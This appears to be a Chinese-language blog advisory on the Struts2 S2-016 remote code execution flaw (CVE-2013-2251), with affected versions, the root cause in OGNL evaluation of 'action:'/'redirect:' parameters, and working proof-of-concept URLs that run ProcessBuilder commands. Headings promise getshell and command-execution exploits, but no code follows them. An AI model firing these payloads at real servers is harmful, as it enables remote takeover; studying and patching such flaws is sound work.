Struts2最新远程代码执行漏洞(S2-016)描述-struts2漏洞原理

Struts又爆远程代码执行漏洞了!在这次的漏洞中，攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本，参数action的值redirect以及redirectAction没有正确过滤，导致ognl代码执行。

描述

影响版本 Struts 2.0.0 - Struts 2.3.15

报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.

CVE编号 CVE-2013-2251

漏洞证明

参数会以OGNL表达式执行

http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代码执行

http://host/struts2-blank/example/X.action?action:%25{(new+
java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25
{(new+java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25
{(new+java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

漏洞原理

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

以下仅供教学研究之用，严禁非法用途!

执行任意命令EXP，感谢X提供：

爆网站路径EXP，感谢h4ck0r提供：

python执行任意命令，感谢h4ck0r提供

GETSHELL EXP，感谢coffee提供：

然后用以下代码写shell:

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